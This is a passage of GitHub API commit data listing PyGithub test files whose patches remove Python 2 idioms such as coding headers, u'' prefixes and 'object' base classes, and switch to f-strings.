#"},{"sha":"6a8022b582c94f83eb0cd0caa6b8f3b5da630d9a","filename":"tests/ExposeAllAttributes.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExposeAllAttributes.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FExposeAllAttributes.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FExposeAllAttributes.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"fce12927e86852ac0dc8a6289d5bfdd071d5ba39","filename":"tests/Framework.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FFramework.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FFramework.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FFramework.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #\n@@ -132,7 +130,7 @@ def close(self):\n return self.__cnx.close()\n \n def __writeLine(self, line):\n- self.__file.write(str(line) + u\"\\n\")\n+ self.__file.write(str(line) + \"\\n\")\n \n \n class RecordingHttpConnection(RecordingConnection):\n@@ -314,7 +312,7 @@ def __openFile(self, mode):\n if fileName != self.__fileName:\n self.__closeReplayFileIfNeeded()\n self.__fileName = fileName\n- self.__file = io.open(self.__fileName, mode, encoding=\"utf-8\")\n+ self.__file = open(self.__fileName, mode, encoding=\"utf-8\")\n return self.__file\n \n def __closeReplayFileIfNeeded(self):"},{"sha":"a2127d3a07292ce753dac73b27fdb6e9afebbe0e","filename":"tests/Gist.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGist.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGist.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGist.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"0853fc2f6ddcff50e5a9ad667bba9452f4b3b9eb","filename":"tests/GistComment.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGistComment.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGistComment.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGistComment.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"881378fa7df621a6a891c54291e4df752ee4b1b6","filename":"tests/GitBlob.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitBlob.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitBlob.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitBlob.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"665645374fd9ddc528d2b104b2a26eca927eeb0c","filename":"tests/GitCommit.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitCommit.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitCommit.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitCommit.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"acb8e7cd56054834792baef1809bdc96ce758c0e","filename":"tests/GitMembership.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitMembership.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitMembership.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitMembership.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Steve English #"},{"sha":"726d9cab95a3177ee4c0e21a10817e524220c3cd","filename":"tests/GitRef.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRef.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRef.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitRef.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6e4cc5a8afdfb0d427afc31132c1926cdeb68d94","filename":"tests/GitRelease.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRelease.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitRelease.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitRelease.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2015 Ed Holland #\n@@ -141,7 +139,7 @@ def testAttributes(self):\n self.assertEqual(release.author.type, \"User\")\n self.assertEqual(\n release.html_url,\n- \"https://github.com/{}/{}/releases/tag/{}\".format(user, repo_name, tag),\n+ f\"https://github.com/{user}/{repo_name}/releases/tag/{tag}\",\n )\n self.assertEqual(release.created_at, create_date)\n self.assertEqual(release.published_at, publish_date)"},{"sha":"d827282fd3385b304b6fa6d9afa1f0659e81f3a8","filename":"tests/GitTag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"69718f2ed77322800f9982f1572d9b89eab48d0f","filename":"tests/GitTree.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTree.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGitTree.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGitTree.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"63ea3209955486970f2e64ff248d7acfacc37f7f","filename":"tests/GithubApp.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubApp.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubApp.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithubApp.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Raju Subramanian #"},{"sha":"272f50db45fc0011193b978b55cdda588485fdde","filename":"tests/GithubIntegration.py","status":"modified","additions":26,"deletions":26,"changes":52,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubIntegration.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithubIntegration.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithubIntegration.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -51,7 +51,7 @@ def setUp(self):\n self.origin_time = sys.modules[\"time\"].time\n sys.modules[\"time\"].time = lambda: 1550055331.7435968\n \n- class Mock(object):\n+ class Mock:\n def __init__(self):\n self.args = tuple()\n self.kwargs = dict()\n@@ -66,8 +66,8 @@ def json(self):\n @property\n def text(self):\n return (\n- u'{\"token\": \"v1.ce63424bc55028318325caac4f4c3a5378ca0038\",'\n- u'\"expires_at\": \"2019-02-13T11:10:38Z\"}'\n+ '{\"token\": \"v1.ce63424bc55028318325caac4f4c3a5378ca0038\",'\n+ '\"expires_at\": \"2019-02-13T11:10:38Z\"}'\n )\n \n def __call__(self, *args, **kwargs):\n@@ -79,7 +79,7 @@ def __call__(self, *args, **kwargs):\n self.mock = Mock()\n sys.modules[\"requests\"].post = self.mock\n \n- class GetMock(object):\n+ class GetMock:\n def __init__(self):\n self.args = tuple()\n self.kwargs = dict()\n@@ -95,28 +95,28 @@ def json(self):\n @property\n def text(self):\n return (\n- u'{\"id\":111111,\"account\":{\"login\":\"foo\",\"id\":11111111,'\n- u'\"node_id\":\"foobar\",'\n- u'\"avatar_url\":\"https://avatars3.githubusercontent.com/u/11111111?v=4\",'\n- u'\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/foo\",'\n- u'\"html_url\":\"https://github.com/foo\",'\n- u'\"followers_url\":\"https://api.github.com/users/foo/followers\",'\n- u'\"following_url\":\"https://api.github.com/users/foo/following{/other_user}\",'\n- u'\"gists_url\":\"https://api.github.com/users/foo/gists{/gist_id}\",'\n- u'\"starred_url\":\"https://api.github.com/users/foo/starred{/owner}{/repo}\",'\n- u'\"subscriptions_url\":\"https://api.github.com/users/foo/subscriptions\",'\n- u'\"organizations_url\":\"https://api.github.com/users/foo/orgs\",'\n- u'\"repos_url\":\"https://api.github.com/users/foo/repos\",'\n- u'\"events_url\":\"https://api.github.com/users/foo/events{/privacy}\",'\n- u'\"received_events_url\":\"https://api.github.com/users/foo/received_events\",'\n- u'\"type\":\"Organization\",\"site_admin\":false},\"repository_selection\":\"all\",'\n- u'\"access_tokens_url\":\"https://api.github.com/app/installations/111111/access_tokens\",'\n- u'\"repositories_url\":\"https://api.github.com/installation/repositories\",'\n- u'\"html_url\":\"https://github.com/organizations/foo/settings/installations/111111\",'\n- u'\"app_id\":11111,\"target_id\":11111111,\"target_type\":\"Organization\",'\n- u'\"permissions\":{\"issues\":\"write\",\"pull_requests\":\"write\",\"statuses\":\"write\",\"contents\":\"read\",'\n- u'\"metadata\":\"read\"},\"events\":[\"pull_request\",\"release\"],\"created_at\":\"2019-04-17T16:10:37.000Z\",'\n- u'\"updated_at\":\"2019-05-03T06:27:48.000Z\",\"single_file_name\":null}'\n+ '{\"id\":111111,\"account\":{\"login\":\"foo\",\"id\":11111111,'\n+ '\"node_id\":\"foobar\",'\n+ '\"avatar_url\":\"https://avatars3.githubusercontent.com/u/11111111?v=4\",'\n+ '\"gravatar_id\":\"\",\"url\":\"https://api.github.com/users/foo\",'\n+ '\"html_url\":\"https://github.com/foo\",'\n+ '\"followers_url\":\"https://api.github.com/users/foo/followers\",'\n+ '\"following_url\":\"https://api.github.com/users/foo/following{/other_user}\",'\n+ '\"gists_url\":\"https://api.github.com/users/foo/gists{/gist_id}\",'\n+ '\"starred_url\":\"https://api.github.com/users/foo/starred{/owner}{/repo}\",'\n+ '\"subscriptions_url\":\"https://api.github.com/users/foo/subscriptions\",'\n+ '\"organizations_url\":\"https://api.github.com/users/foo/orgs\",'\n+ '\"repos_url\":\"https://api.github.com/users/foo/repos\",'\n+ '\"events_url\":\"https://api.github.com/users/foo/events{/privacy}\",'\n+ '\"received_events_url\":\"https://api.github.com/users/foo/received_events\",'\n+ '\"type\":\"Organization\",\"site_admin\":false},\"repository_selection\":\"all\",'\n+ '\"access_tokens_url\":\"https://api.github.com/app/installations/111111/access_tokens\",'\n+ '\"repositories_url\":\"https://api.github.com/installation/repositories\",'\n+ '\"html_url\":\"https://github.com/organizations/foo/settings/installations/111111\",'\n+ '\"app_id\":11111,\"target_id\":11111111,\"target_type\":\"Organization\",'\n+ '\"permissions\":{\"issues\":\"write\",\"pull_requests\":\"write\",\"statuses\":\"write\",\"contents\":\"read\",'\n+ '\"metadata\":\"read\"},\"events\":[\"pull_request\",\"release\"],\"created_at\":\"2019-04-17T16:10:37.000Z\",'\n+ '\"updated_at\":\"2019-05-03T06:27:48.000Z\",\"single_file_name\":null}'\n )\n \n def __call__(self, *args, **kwargs):"},{"sha":"3e7027518c115761e9207dafa316ce1b2c7b68bc","filename":"tests/Github_.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithub_.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FGithub_.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FGithub_.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"86c0257ae135e52ba4372f95077301f16d84a63d","filename":"tests/Hook.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FHook.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FHook.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FHook.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"bb2014b33325a5ff32889967f5811519ebcfa712","filename":"tests/Issue.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"6a4046aa4ffd6b51841f6a996ff45430c5a1fc5e","filename":"tests/Issue131.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue131.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue131.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue131.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"78a24452cf7eaee05881c14f4c499cdf7a29baed","filename":"tests/Issue133.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue133.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue133.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue133.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"13d971c26391346dc77bee50d471fcf8aea8d73b","filename":"tests/Issue134.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue134.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue134.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue134.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"bcc44da7bc3955ab5ead5974714787ecc504a613","filename":"tests/Issue139.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue139.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue139.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue139.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"e5433f4339514de4a25a1516b0e6da58ed6143e1","filename":"tests/Issue140.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue140.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue140.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue140.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"4f5f8fb244fa258f7c65a046c1812967fbf3e654","filename":"tests/Issue142.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue142.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue142.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue142.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"dfe55a44fa37ef82a051c70d71d9a6a37729e750","filename":"tests/Issue158.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue158.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue158.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue158.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"11b57c996ea1a46d149a9eca7b6eb9de5286f5fb","filename":"tests/Issue174.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue174.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue174.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue174.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"9aea863e1e68e1b683b1167f7af70d23be8a7698","filename":"tests/Issue214.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue214.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue214.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue214.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 David Farr #"},{"sha":"988467167f4739f70bb90f14bfc03d1c776ebf8b","filename":"tests/Issue216.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue216.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue216.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue216.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques #"},{"sha":"6b46c2c71f328e160d535f513f415340f9c80c4f","filename":"tests/Issue278.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue278.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue278.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue278.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2014 Vincent Jacques #"},{"sha":"a260fe521bb1b80be5e4ee8877e3f1f67340e3dd","filename":"tests/Issue33.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue33.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue33.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue33.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"105351074187707d09ad4da0d7c6acdcad5bbe39","filename":"tests/Issue494.py","status":"modified","additions":2,"deletions":4,"changes":6,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue494.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue494.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue494.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2016 Sam Corbett #\n@@ -34,7 +32,7 @@ def setUp(self):\n \n def testRepr(self):\n expected = (\n- u'PullRequest(title=\"Change SetHostnameCustomizer to check if '\n- u'/etc/sysconfig/network exist…\", number=465)'\n+ 'PullRequest(title=\"Change SetHostnameCustomizer to check if '\n+ '/etc/sysconfig/network exist…\", number=465)'\n )\n self.assertEqual(self.pull.__repr__(), expected)"},{"sha":"81c7dd6f53b588772f4bd0b87a12d4cb49653c70","filename":"tests/Issue50.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue50.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue50.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue50.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"d93ca051a950887e12c2d0703174c2335e48dd1b","filename":"tests/Issue54.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue54.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue54.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue54.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"f30a738c014c204ca6fce1374a5552b66eb80c6e","filename":"tests/Issue572.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue572.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue572.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue572.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Shinichi TAMURA #"},{"sha":"11fcd49f034a24c83bfa7599dfcd15da679e725c","filename":"tests/Issue80.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue80.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue80.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue80.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"5f31412be0e1c36fa315755a3b9a8f3491e78376","filename":"tests/Issue823.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue823.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FIssue823.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FIssue823.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2013 Vincent Jacques 